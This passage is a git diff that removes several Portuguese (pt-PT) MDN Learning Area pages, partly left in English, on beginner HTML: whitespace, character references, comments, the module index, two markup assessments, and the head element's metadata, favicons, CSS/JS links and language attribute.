  6. -
  7. <meta charset="utf-8">: This element sets the character set your document should use to UTF-8, which includes most characters from the vast majority of human written languages. Essentially it can now handle any textual content you might put on it. There is no reason not to set this, and it can help avoid some problems later on.
  8. -
  9. <title></title>: The {{htmlelement("title")}} element. This sets the title of your page, which is the title that appears in the browser tab the page is loaded in, and is used to describe the page when you bookmark/favourite it.
  10. -
  11. <body></body>: The {{htmlelement("body")}} element. This contains all the content that you want to show to web users when they visit your page, whether that's text, images, videos, games, playable audio tracks, or whatever else.
  12. -
- -

Aprendizagem ativa: Adicionar alguns recursos a um documento HTML

- -

If you want to experiment with writing some HTML on your local computer, you can:

- -
    -
  1. Copy the HTML page example listed above.
  2. -
  3. Create a new file in your text editor.
  4. -
  5. Paste the code into the new text file.
  6. -
  7. Save the file as index.html.
  8. -
- -
-

Nota: You can also find this basic HTML template on the MDN Learning Area Github repo.

-
- -

You can now open this file in a web browser to see what the rendered code looks like, and then edit the code and refresh the browser to see what the result is. Initially it will look like this:

- -

A simple HTML page that says This is my pageSo in this exercise, you can edit the code locally on your computer, as outlined above, or you can edit it in the editable sample window below (the editable sample window represents just the contents of the {{htmlelement("body")}} element, in this case.) We'd like you to have a go at implementing the following steps:

- -
    -
  • Just below the opening tag of the {{htmlelement("body")}} element, add a main title for the document. This should be wrapped inside an <h1> opening tag and </h1> closing tag.
  • -
  • Edit the paragraph content to include some text about something you are interested in.
  • -
  • Make any important words stand out in bold by wrapping them inside a <strong> opening tag and </strong> closing tag
  • -
  • Add a link to your paragraph, as explained earlier in the article.
  • -
  • Add an image to your document, below the paragraph, as explained earlier in the article. You'll get bonus points if you manage to link to a different image (either locally on your computer, or somewhere else on the web.)
  • -
- -

If you make a mistake, you can always reset it using the Reset button. If you get really stuck, press the Show solution button to see the answer.

- - - -

{{ EmbedLiveSample('Playable_code3', 700, 600) }}

- -

Espaço em branco em HTML

- -

In the above examples you may have noticed that a lot of whitespace is included in the code listings — this is not necessary at all; the two following code snippets are equivalent:

- -
<p>Dogs are silly.</p>
-
-<p>Dogs        are
-         silly.</p>
- -

No matter how much whitespace you use (which can include space characters, but also line breaks), the HTML parser reduces each one down to a single space when rendering the code. So why use so much whitespace? The answer is readability — it is so much easier to understand what is going on in your code if you have it nicely formatted, and not just bunched up together in a big mess. In our HTML we've got each nested element indented by two spaces more than the one it is sitting inside. It is up to you what style of formatting you use (how many spaces for each level of indentation, for example), but you should consider using some kind of formatting.

- -

Referências de entidade: incluindo carateres especiais em HTML

- -

In HTML, the characters <, >,",' and & are special characters. They are parts of the HTML syntax itself, so how do you include one of these characters in your text, for example if you really want to use an ampersand or less than sign, and not have it interpreted as code as some browsers may do?

- -

We have to use character references — special codes that represent characters, and can be used in these exact circumstances. Each character reference is started with an ampersand (&), and ended by a semi-colon (;).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Caráter literalReferência de caráter equivalente
<&lt;
>&gt;
"&quot;
'&apos;
&&amp;
- -

In the below example, you can see two paragraphs, which are talking about web technologies:

- -
<p>In HTML, you define a paragraph using the <p> element.</p>
-
-<p>In HTML, you define a paragraph using the &lt;p&gt; element.</p>
- -

In the live output below, you can see that the first paragraph has gone wrong, because the browser thinks that the second instance of <p> is starting a new paragraph. The second paragraph looks fine, because we have replaced the angle brackets with character references.

- -

{{ EmbedLiveSample('Entity_references_including_special_characters_in_HTML', 700, 200) }}

- -
-

Nota: A chart of all the available HTML character entity references can be found on Wikipedia: List of XML and HTML character entity references.

-
- -

Comentários de HTML

- -

In HTML, as with most programming languages, there is a mechanism available to write comments in the code — comments are ignored by the browser and invisible to the user, and their purpose is to allow you to include comments in the code to say how your code works, what the different parts of the code do, etc. This can be very useful if you return to a code base that you've not worked on for six months, and can't remember what you did — or if you hand your code over to someone else to work on.

- -

To turn a section of content inside your HTML file into a comment, you need to wrap it in the special markers <!-- and -->, for example:

- -
<p>I'm not inside a comment</p>
-
-<!-- <p>I am!</p> -->
- -

As you can see below, the first paragraph appears in the live output, but the second one doesn't.

- -

{{ EmbedLiveSample('HTML_comments', 700, 100) }}

- -

Resumo

- -

You've reached the end of the article — we hope you enjoyed your tour of the very basics of HTML! At this point you should understand what the language looks like, how it works at a basic level, and be able to write a few elements and attributes. This is a perfect place to be right now, as in subsequent articles in the module we will go into some of the things you have already looked at in a lot more detail, and introduce some new features of the language. Stay tuned!

- -
-

Note: At this point, as you start to learn more about HTML, you might also want to start to explore the basics of Cascading Style Sheets, or CSS. CSS is the language you use to style your web pages (whether e.g. changing the font or colors, or altering the page layout). HTML and CSS go very well together, as you'll soon discover.

-
- -

Consulte também

- - - -
{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}
- -
- - - - - -
diff --git a/files/pt-pt/learn/html/introduction_to_html/index.html b/files/pt-pt/learn/html/introduction_to_html/index.html deleted file mode 100644 index c8a8ecce80..0000000000 --- a/files/pt-pt/learn/html/introduction_to_html/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Introdução ao HTML -slug: Learn/HTML/Introduction_to_HTML -tags: - - CodingScripting - - Estrutura - - HTML - - Hiperligações - - Introdução ao HTML - - Texto - - head - - semántica -translation_of: Learn/HTML/Introduction_to_HTML -original_slug: Learn/HTML/Introducao_ao_HTML ---- -
{{LearnSidebar}}
- -

Na sua essência, {{glossary("HTML")}} é uma linguagem bastante simples, composta por elementos que podem ser aplicados em partes de texto para lhes dar um significado diferente num documento (É um parágrafo? Uma lista com marcas? É parte de uma tabela?), estruturar um documento em secções lógicas (Tem um cabeçalho? Três colunas de conteúdo? Um menu de navegação?) e incorporar conteúdo como imagens e vídeos numa página. Este módulo irá apresentar as duas primeiras aplicações e introduzir os conceitos e a sintaxe fundamentais que você precisa de saber para compreender HTML.

- -

Pré-requisitos

- -

Antes de começar este módulo, não precisa de ter qualquer conhecimento prévio de  HTML, mas deve pelo menos ter alguma familiaridade com utilização de computadores, e utilização passiva da Web (ou seja, apenas na perspectiva de consumidor e não de criação e publicação de conteúdos). Deverá ter um ambiente de trabalho básico configurado de acordo com as indicações que pode encontrar em Instalar software básico, e compreender como se criam e gerem ficheiros, como indicado na secção Lidar com ficheiros — estas duas secções fazem ambas parte do nosso módulo completo de iniciação em Primeiros passos na web.

- -
-

Nota: Se está a trabalhar num computador, tablet ou outro dispositivo em que não tem possibilidade de criar ficheiros, pode testar a maioria dos exemplos de código num programa de edição de código online como o JSBin ou o Thimble.

-
- -

Guias

- -

Este módulo contém os seguintes artigos, os quais vão guiá-lo ao longo da teoria básica de HTML, e dar-lhe amplas oportunidades para experimentar o que aprendeu.

- -
-
Começar com HTML
-
Para começar, cobrimos as bases absolutas do HTML — definir elementos, atributos e todos os termos importantes de que já ouviu falar, e como se encaixam na linguagem. Também mostramos a estrutura de um elemento HTML, a estrutura de uma página HTML típica e explicamos outras funcionalidades básicas mas importantes da linguagem. Ao longo do caminho, vamos brincar com algum HTML, para lhe despertar o interesse!
-
O que lhe vai no cabeçalho? Metadadados em HTML
-
O cabeçalho de um documento HTML é parte que não é mostrada no navegador quando a página é carregada. Contém informação como o título da página ({{htmlelement("title")}}), ligações para {{glossary("CSS")}} (se quiser estilizar o conteúdo HTML com CSS), ligações a ícones personalizados, e metadados (dados sobre HTML, por exemplo, quem o escreveu e palavras-chave importantes que descrevem o documento).
-
Fundamentos do texto HTML
-
Uma das principais funções do HTML é atribuir significado (semântica) ao texto, para que o navegador o apresente corretamente. Este artigo explora como utilizar HTML para repartir o bloco de texto em títulos e parágrafos, dar ênfase/importância a palavras, criar listas e mais.
-
Criar hiperligações
-
Hiperligações são muito importantes — são o que torna a internet na internet. Este artigo mostra a sintaxe necessária para criar uma ligação (um link), e discute boas práticas a ter quando se criam hiperligações.
-
Formatação avançada de texto
-
Há muitos outros elementos em HTML para formatar texto, que não vimos em Fundamentos do texto HTML. Estes elementos são menos conhecidos, mas é útil conhecê-los. Neste artigo aprenderá a demarcar citações, listas de descrições, código de computador e outro texto relacionado, texto sobre e por baixo da linha, informação de contactos e mais.
-
Estrutura do documento e do website
-
Além de definir partes individuais da página (como parágrafos e imagens), HTML também define secções do site (como cabeçalho, menu de navegação, coluna principal de conteúdo). Este artigo aborda como planear a estrutura básica de um site e como escrever HTML que represente essa estrutura.
-
Depurar HTML
-
É ótimo escrever HTML, mas como proceder se alguma coisa correr mal e não conseguir descobrir em que parte do código está o erro? Este artigo introduz algumas ferramentas que pode utilizar.
-
- -

Avaliações

- -

Estas avaliações testam o seu conhecimento das bases de HTML abrangidas nos guias suprarreferidos.

- -
-
Demarcar uma carta
-
Todos aprendemos a escrever uma carta mais cedo ou mais tarde; e é um exemplo útil para testar as nossas capacidades de formatação de texto! Nesta avaliação, damos-lhe uma carta para demarcar.
-
Estruturar uma página de conteúdo
-
Esta avaliação testa a sua capacidade de recorrer a HTML para estruturar uma página de conteúdo simples, que contém cabeçalho, rodapé, menu de navegação, conteúdo principal e barra lateral.
-
- -

Consultar também

- -
-
Básicos de literacia da Web 1 (inglês)
-
Um curso excelente da fundação Mozilla que explora e testa muitas das habilidades faladas no módulo de Introdução ao HTML. Os principiantes familiarizam-se com a leitura, escrita e participação na Web neste módulo de seis partes. Descubra as fundações da Web através da produção e colaboração.
-
diff --git a/files/pt-pt/learn/html/introduction_to_html/marking_up_a_letter/index.html b/files/pt-pt/learn/html/introduction_to_html/marking_up_a_letter/index.html deleted file mode 100644 index e2e987b803..0000000000 --- a/files/pt-pt/learn/html/introduction_to_html/marking_up_a_letter/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Demarcar uma carta -slug: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter -tags: - - Avaliação - - HTML - - Ligações - - Principiante - - Texto -translation_of: Learn/HTML/Introduction_to_HTML/Marking_up_a_letter -original_slug: Learn/HTML/Introducao_ao_HTML/demarcar_uma_carta ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}
- -

We all learn to write a letter sooner or later; it is also a useful example to test out our text formatting skills! In this assessment you'll be given a letter to mark up to test basic and advanced HTML text formatting skills, including hyperlinks, plus we'll test your familiarity with some HTML <head> contents.

- - - - - - - - - - - - -
Prerequisites:Before attempting this assessment you should have already worked through Getting started with HTML, What's in the head? Metadata in HTML, HTML text fundamentals, Creating hyperlinks, and Advanced text formatting.
Objective:To test basic and advanced HTML text formatting and hyperlink skills, and knowledge of what goes in the HTML <head>.
- -

Starting point

- -

To get this assessment started, you should go and grab the raw text you need to mark up, and the CSS you need to include in your HTML. Create a new .html file using your text editor to do your work in (or alternatively use a site like JSBin or Thimble to do your assessment.)

- -

Project brief

- -

For this project, your task is to mark up a letter that needs to be hosted on a university intranet. The letter is a response from a research fellow to a prospective PhD student concerning their application to the university.

- -

Block/structural semantics:

- -
    -
  • You should structure the overall document with an appropriate structure including doctype, and {{htmlelement("html")}}, {{htmlelement("head")}} and {{htmlelement("body")}} elements.
  • -
  • The letter in general should be marked up with a structure of paragraphs and headings, with the exception of the below points. There is one top level heading (the "Re:" line) and three second level headings.
  • -
  • The semester start dates, study subjects and exotic dances should be marked up using an appropriate list type.
  • -
  • The two addresses can just be put inside paragraphs. The {{htmlelement("address")}} element is not appropriate for them — think about why. In addition, each line of the addresses should sit on a new line, but not be in a new paragraph.
  • -
- -

Inline semantics:

- -
    -
  • The names of the sender and receiver (and "Tel" and "Email") should be marked up with strong importance.
  • -
  • The four dates in the document should be given appropriate elements containing machine-readable dates.
  • -
  • The first address and first date in the letter should be given a class attribute value of "sender-column"; the CSS you'll add later will then cause these to be right aligned, as should be the case in a classic letter layout.
  • -
  • The five acronyms/abbreviations in the main text of the letter should be marked up to provide expansions of each acronym/abbreviation.
  • -
  • The six sub/superscripts should be marked up appropriately — in the chemical formulae,  and the numbers 103 and 104 (they should be 10 to the power or 3 and 4, respectively).
  • -
  • Try to mark up at least two appropriate words in the text with strong importance/emphasis.
  • -
  • There are two places where a hyperlink should be added; add appropriate links with titles. For the location that the links point to, just use http://example.com.
  • -
  • The university motto quote and citation should be marked up with appropriate elements.
  • -
- -

The head of the document:

- -
    -
  • The character set of the document should be specified as utf-8 using an appropriate meta tag.
  • -
  • The author of the letter should be specified in an appropriate meta tag.
  • -
  • The provided CSS should be included inside an appropriate tag.
  • -
- -

Hints and tips

- -
    -
  • Use the W3C HTML validator to validate your HTML; you'll get bonus points if it validates.
  • -
  • You don't need to know any CSS to do this assessment; you just need to put the provided CSS inside an HTML element.
  • -
- -

Example

- -

The following screenshot shows an example of what the letter might look like after being marked up.

- -

Example

- -

Assessment

- -

If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the discussion thread about this exercise, or in the #mdn IRC channel on Mozilla IRC. Try the exercise first — there is nothing to be gained by cheating!

- -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Learn/HTML/Introduction_to_HTML")}}

- -

 

- -

In this module

- - - -

 

diff --git a/files/pt-pt/learn/html/introduction_to_html/structuring_a_page_of_content/index.html b/files/pt-pt/learn/html/introduction_to_html/structuring_a_page_of_content/index.html deleted file mode 100644 index 7efe74d7fd..0000000000 --- a/files/pt-pt/learn/html/introduction_to_html/structuring_a_page_of_content/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Estruturar uma página de conteúdo -slug: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content -tags: - - Avaliação - - Estrutura - - HTML - - Principiante - - semántica -translation_of: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content -original_slug: Learn/HTML/Introducao_ao_HTML/Estruturar_pagina_de_conteudo ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}
- -

Structuring a page of content ready for laying it out using CSS is a very important skill to master, so in this assessment you'll be tested on your ability to think about how a page might end up looking, and choose appropriate structural semantics to build a layout on top of.

- - - - - - - - - - - - -
Prerequisites:Before attempting this assessment you should have already worked through the rest of the course, with a particular emphasis on Document and website structure.
Objective:To test knowledge of web page structures, and how to represent a prospective layout design in markup.
- -

Starting point

- -

To get this assessment started, you should go and grab the zip file containing all the starting assets. The zip file contains:

- -
    -
  • The HTML you need to add structural markup to.
  • -
  • CSS to style your markup.
  • -
  • Images that are used on the page.
  • -
- -

Create the example on your local computer, or alternatively use a site like JSBin or Thimble to do your assessment.

- -

Project brief

- -

For this project, your task is to take the content for the homepage of a bird watching website and add structural elements to it so it can have a page layout applied to it. It needs to have:

- -
    -
  • A header spanning the full width of the site containing the main title for the page, the site logo, and the navigation menu. The title and logo appear side by side once styling is applied, and the navigation appears below those two items.
  • -
  • A main content area containing two columns — a main block to contain the welcome text, and a sidebar to contain image thumbnails.
  • -
  • A footer containing copyright information and credits.
  • -
- -

You need to add a suitable wrapper for:

- -
    -
  • The header
  • -
  • The navigation menu
  • -
  • The main content
  • -
  • The welcome text
  • -
  • The image sidebar
  • -
  • The footer
  • -
- -

You should also:

- -
    -
  • Apply the provided CSS to the page by adding another {{htmlelement("link")}} element just below the existing one provided at the start.
  • -
- -

Hints and tips

- -
    -
  • Use the W3C Nu HTML Checker to catch unintended mistakes in your HTML, CSS, and SVG — mistakes you might have otherwise missed — so that you can fix them.
  • -
  • You don't need to know any CSS to do this assessment; you just need to put the provided CSS inside an HTML element.
  • -
  • The provided CSS is designed so that when the correct structural elements are added to the markup, they will appear green in the rendered page.
  • -
  • If you are getting stuck and can't envisage what elements to put where, it often helps to draw out a simple block diagram of the page layout, and write on the elements you think should wrap each block.
  • -
- -

Example

- -

The following screenshot shows an example of what the homepage might look like after being marked up.

- -

The finished example for the assessment; a simple webpage about birdwatching, including a heading of "Birdwatching", bird photos, and a welcome message

- -

Assessment

- -

If you are following this assessment as part of an organized course, you should be able to give your work to your teacher/mentor for marking. If you are self-learning, then you can get the marking guide fairly easily by asking on the discussion thread about this exercise, or in the #mdn IRC channel on Mozilla IRC. Try the exercise first — there is nothing to be gained by cheating!

- -

{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}

- -

 

- -

In this module

- - - -

 

diff --git a/files/pt-pt/learn/html/introduction_to_html/the_head_metadata_in_html/index.html b/files/pt-pt/learn/html/introduction_to_html/the_head_metadata_in_html/index.html deleted file mode 100644 index 88ec4b49ea..0000000000 --- a/files/pt-pt/learn/html/introduction_to_html/the_head_metadata_in_html/index.html +++ /dev/null @@ -1,347 +0,0 @@ ---- -title: O que está em "head"? Metadados em HTML -slug: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML -tags: - - Guía - - HTML - - Idioma - - Meta - - Principiante - - head - - metadados -translation_of: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML -original_slug: Learn/HTML/Introducao_ao_HTML/Os_metadados_de_head_em_HTML ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introducao_ao_HTML")}}
- -

{{glossary("Head", "Head")}} de um documento HTML é a parte que não é exibida no navegador da Web quando a página é carregada. Este contém a informação, tais como o {{htmlelement("title", "título")}} da página, hiperligações para {{glossary("CSS")}} (se pretender estilizar o seu conteúdo HTML com CSS), hiperligações para favicons personalizados, e outros metadados (dados sobre o HTML, tais como quem o escreveu, e palavras-chave importantes que descrevem o documento.) Neste artigo nós iremos abranger todas as coisas acima e muito mais, para lhe dar bons conceitos básicos para lidar com a marcação e outro código que deverá estar no seu head.

- - - - - - - - - - - - -
Pré-requisitos:Basic HTML familiarity, as covered in Getting started with HTML.
Objetivo:To learn about the HTML head, what its purpose is, the most important items it can contain, and what effect it can have on the HTML document.
- -

O que é head no HTML?

- -

Let's revisit the simple HTML document we covered in the previous article:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <meta charset="utf-8">
-    <title>My test page</title>
-  </head>
-  <body>
-    <p>This is my page</p>
-  </body>
-</html>
- -

The HTML head is the contents of the {{htmlelement("head")}} element — unlike the contents of the {{htmlelement("body")}} element (which are displayed on the page when loaded in a browser), the head's content is not displayed on the page. Instead, the head's job is to contain {{glossary("Metadata", "metadata")}} about the document. In the above example, the head is quite small:

- -
<head>
-  <meta charset="utf-8">
-  <title>My test page</title>
-</head>
- -

In larger pages however, the head can get quite full of items — try going to some of your favorite websites and using the developer tools to check out their head contents. Our aim here is not to show you how to use everything that can possibly be put in the head, but rather to teach you how to use the most obvious things you'll want to include in the head, and give you some familiarity. Let's get started.

- -

Adding a title

- -

We've already seen the {{htmlelement("title")}} element in action — this can be used to add a title to the document. This however can get confused with the {{htmlelement("h1")}} element, which is used to add a top level heading to your body content — this is also sometimes referred to as the page title. But they are different things!

- -
    -
  • The {{htmlelement("h1")}} element appears on the page when loaded in the browser — generally this should be used once per page, to mark up the title of your page content (the story title, or news headline, or whatever is appropriate to your usage.)
  • -
  • The {{htmlelement("title")}} element is metadata that represents the title of the overall HTML document (not the document's content.)
  • -
- -

Active learning: Inspecting a simple example

- -
    -
  1. To start off this active learning, we'd like you to go to our GitHub repo and download a copy of our title-example.html page. To do this, either - -
      -
    1. Copy and paste the code out of the page and into a new text file in your code editor, then save it in a sensible place.
    2. -
    3. Press the "Raw" button on the page, which causes the raw code to appear in a new browser tab. Next, from your browser's menu choose File > Save Page As... in your browser's menu then choose a place to save the file.
    4. -
    -
  2. -
  3. Now open the file in your browser. You should see something like this: -

    A simple web page with the title set to <title> element, and the <h1> set to <h1> element.It should now be completely obvious where the <h1> content appears, and where the <title> content appears!

    -
  4. -
  5. You should also try opening the code up in your code editor, editing the contents of these elements, then refreshing the page in your browser. Have some fun with it.
  6. -
- -

The <title> element contents are also used in other ways. For example, if you try bookmarking the page (Bookmarks > Bookmark This Page or the star icon in the URL bar in Firefox), you will see the <title> contents filled in as the suggested bookmark name.

- -

A webpage being bookmarked in firefox; the bookmark name has been automatically filled in with the contents of the <title> element

- -

The <title> contents are also used in search results, as you'll see below.

- -

Metadata: the <meta> element

- -

Metadata is data that describes data, and HTML has an "official" way of adding metadata to a document — the {{htmlelement("meta")}} element. Of course, the other stuff we are talking about in this article could also be thought of as metadata too. There are a lot of different types of <meta> element that can be included in your page's <head>, but we won't try to explain them all at this stage, as it would just get too confusing. Instead, we'll explain a few things that you might commonly see, just to give you an idea.

- -

Specifying your document's character encoding

- -

In the example we saw above, this line was included:

- -
<meta charset="utf-8">
- -

This element simply specifies the document's character encoding — the character set that the document is permitted to use. utf-8 is a universal character set that includes pretty much any character from any human language. This means that your web page will be able to handle displaying any language; it's therefore a good idea to set this on every web page you create! For example, your page could handle English and Japanese just fine:

- -

a web page containing English and Japanese characters, with the character encoding set to universal, or utf-8. Both languages display fine,If you set your character encoding to ISO-8859-1, for example (the character set for the Latin alphabet), your page rendering would be all messed up:

- -

a web page containing English and Japanese characters, with the character encoding set to latin. The Japanese characters don't display correctly

- -

Active learning: Experiment with character encoding

- -

To try this out, revisit the simple HTML template you obtained in the previous section on <title> (the title-example.html page), try changing the meta charset value to ISO-8859-1, and add the Japanese to your page. This is the code we used:

- -
<p>Japanese example: ご飯が熱い。</p>
- -

Adding an author and description

- -

Many <meta> elements include name and content attributes:

- -
    -
  • name specifies the type of meta element it is; what type of information it contains.
  • -
  • content specifies the actual meta content.
  • -
- -

Two such meta elements that are useful to include on your page define the author of the page, and provide a concise description of the page. Let's look at an example:

- -
<meta name="author" content="Chris Mills">
-<meta name="description" content="The MDN Learning Area aims to provide
-complete beginners to the Web with all they need to know to get
-started with developing web sites and applications.">
- -

Specifying an author is useful in a few ways: it is useful to be able to work out who wrote the page, if you want to contact them with questions about the content. Some content management systems have facilities to automatically extract page author information and make it available for such purposes.

- -

Specifying a description that includes keywords relating to the content of your page is useful as it has the potential to make your page appear higher in relevant searches performed in search engines (such activities are termed Search Engine Optimization, or {{glossary("SEO")}}.)

- -

Active learning: The description's use in search engines

- -

The description is also used on search engine result pages. Let's go through an exercise to explore this

- -
    -
  1. Go to the front page of The Mozilla Developer Network.
  2. -
  3. View the page's source (Right/Ctrl + click on the page, choose View Page Source from the context menu.)
  4. -
  5. Find the description meta tag. It will look like this: -
    <meta name="description" content="The Mozilla Developer Network (MDN) provides
    -information about Open Web technologies including HTML, CSS, and APIs for both
    -Web sites and HTML5 Apps. It also documents Mozilla products, like Firefox OS.">
    -
  6. -
  7. Now search for "Mozilla Developer Network" in your favorite search engine (We used Yahoo.) You'll notice the description <meta> and <title> element content used in the search result — definitely worth having! -

    A Yahoo search result for "Mozilla Developer Network"

    -
  8. -
- -
-

Note: In Google, you will see some relevant subpages of MDN listed below the main MDN homepage link — these are called sitelinks, and are configurable in Google's webmaster tools — a way to make your site's search results better in the Google search engine.

-
- -
-

Note: Many <meta> features just aren't used any more. For example, the keyword <meta> element (<meta name="keywords" content="fill, in, your, keywords, here">) — which is supposed to provide keywords for search engines to determine relevance of that page for different search terms — is ignored by search engines, because spammers were just filling the keyword list with hundreds of keywords, biasing results.

-
- -

Other types of metadata

- -

As you travel around the web, you'll find other types of metadata, too. A lot of the features you'll see on websites are proprietary creations, designed to provide certain sites (such as social networking sites) with specific pieces of information they can use.

- -

For example, Open Graph Data is a metadata protocol that Facebook invented to provide richer metadata for websites. In the MDN sourcecode, you'll find this:

- -
<meta property="og:image" content="https://developer.mozilla.org/static/img/opengraph-logo.png">
-<meta property="og:description" content="The Mozilla Developer Network (MDN) provides
-information about Open Web technologies including HTML, CSS, and APIs for both Web sites
-and HTML5 Apps. It also documents Mozilla products, like Firefox OS.">
-<meta property="og:title" content="Mozilla Developer Network">
- -

One effect of this is that when you link to MDN on facebook, the link appears along with an image and description: a richer experience for users.

- -

Open graph protocol data from the MDN homepage as displayed on facebook, showing an image, title, and description.Twitter also has its own similar proprietary metadata, which has a similar effect when the site's URL is displayed on twitter.com. For example:

- -
<meta name="twitter:title" content="Mozilla Developer Network">
- -

Adding custom icons to your site

- -

To further enrich your site design, you can add references to custom icons in your metadata, and these will be displayed in certain contexts.

- -

The humble favicon, which has been around for many years, was the first icon of this type, a 16 x 16 pixel icon used in multiple places. You'll see favicons displayed in the browser tab containing each open page, and next to bookmarked pages in the bookmarks panel.

- -

A favicon can be added to your page by:

- -
    -
  1. Saving it in the same directory as the site's index page, saved in .ico format (most browsers will support favicons in more common formats like .gif or .png, but using the ICO format will ensure it works as far back as Internet Explorer 6.)
  2. -
  3. Adding the following line into your HTML <head> to reference it: -
    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
    -
  4. -
- -

Here is an example of a favicon in a bookmarks panel:

- -

The Firefox bookmarks panel, showing a bookmarked example with a favicon displayed next to it.

- -

There are lots of other icon types to consider these days as well. For example, you'll find this in the source code of the MDN homepage:

- -
<!-- third-generation iPad with high-resolution Retina display: -->
-<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.mozilla.org/static/img/favicon144.png">
-<!-- iPhone with high-resolution Retina display: -->
-<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.mozilla.org/static/img/favicon114.png">
-<!-- first- and second-generation iPad: -->
-<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.mozilla.org/static/img/favicon72.png">
-<!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: -->
-<link rel="apple-touch-icon-precomposed" href="https://developer.mozilla.org/static/img/favicon57.png">
-<!-- basic favicon -->
-<link rel="shortcut icon" href="https://developer.mozilla.org/static/img/favicon32.png">
- -

The comments explain what each icon is used for — these elements cover things like providing a nice high resolution icon to use when the website is saved to an iPad's home screen.

- -

Don't worry too much about implementing all these types of icon right now — this is a fairly advanced feature, and you won't be expected to have knowledge of this to progress through the course. The main purpose here is to let you know what such things are, in case you come across them while browsing other websites' source code.

- -

Applying CSS and JavaScript to HTML

- -

Just about all websites you'll use in the modern day will employ {{glossary("CSS")}} to make them look cool, and {{glossary("JavaScript")}} to power interactive functionality, such as video players, maps, games, and more. These are most commonly applied to a web page using the {{htmlelement("link")}} element and the {{htmlelement("script")}} element, respectively.

- -
    -
  • -

    The {{htmlelement("link")}} element always goes inside the head of your document. This takes two attributes, rel="stylesheet", which indicates that it is the document's stylesheet, and href, which contains the path to the stylesheet file:

    - -
    <link rel="stylesheet" href="my-css-file.css">
    -
  • -
  • -

    The {{htmlelement("script")}} element does not have to go in the head; in fact, often it is better to put it at the bottom of the document body (just before the closing </body> tag), to make sure that all the HTML content has been read by the browser before it tries to apply JavaScript to it (if JavaScript tries to access an element that doesn't yet exist, the browser will throw an error.)

    - -
    <script src="my-js-file.js"></script>
    - -

    Note: The <script> element may look like an empty element, but it's not, and so needs a closing tag. Instead of pointing to an external script file, you can also choose to put your script inside the <script> element.

    -
  • -
- -

Active learning: applying CSS and JavaScript to a page

- -
    -
  1. To start this active learning, grab a copy of our meta-example.html, script.js and style.css files, and save them on your local computer in the same directory. Make sure they are saved with the correct names and file extensions.
  2. -
  3. Open the HTML file in both your browser, and your text editor.
  4. -
  5. By following the information given above, add {{htmlelement("link")}} and {{htmlelement("script")}} elements to your HTML, so that your CSS and JavaScript are applied to your HTML.
  6. -
- -

If done correctly, when you save your HTML and refresh your browser you'll see that things have changed:

- -

Example showing a page with CSS and JavaScript applied to it. The CSS has made the page go green, whereas the JavaScript has added a dynamic list to the page.

- -
    -
  • The JavaScript has added an empty list to the page. Now when you click anywhere on the list, a dialog box will pop up asking you to enter some text for a new list item. when you press the OK button, a new list item will be added to the list containing the text. When you click on an existing list item, a dialog box will pop up allowing you to change the item's text.
  • -
  • The CSS has caused the background to go green, and the text to become bigger. It has also styled some of the content that the JavaScript has added to the page (the red bar with the black border is the styling the CSS has added to the JS-generated list.)
  • -
- -
-

Note: If you get stuck in this exercise and can't get the CSS/JS to apply, try checking out our css-and-js.html example page.

-
- -

Setting the primary language of the document

- -

Finally, it's worth mentioning that you can (and really should) set the language of your page. This can be done by adding the lang attribute to the opening HTML tag (as seen in the meta-example.html and shown below.)

- -
<html lang="en-US">
- -

This is useful in many ways. Your HTML document will be indexed more effectively by search engines if its language is set (allowing it to appear correctly in language-specific results, for example), and it is useful to people with visual impairments using screen readers (for example, the word "six" exists in both French and English, but is pronounced differently.)

- -

You can also set subsections of your document to be recognised as different languages. For example, we could set our Japanese language section to be recognised as Japanese, like so:

- -
<p>Japanese example: <span lang="jp">ご飯が熱い。</span>.</p>
- -

These codes are defined by the ISO 639-1 standard. You can find more about them in Language tags in HTML and XML.

- -

Resumo

- -

That marks the end of our quickfire tour of the HTML head — there's a lot more you can do in here, but an exhaustive tour would be boring and confusing at this stage, and we just wanted to give you an idea of the most common things you'll find in there for now! In the next article we'll be looking at HTML text fundamentals.

- -

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}

- -
- - - - - -
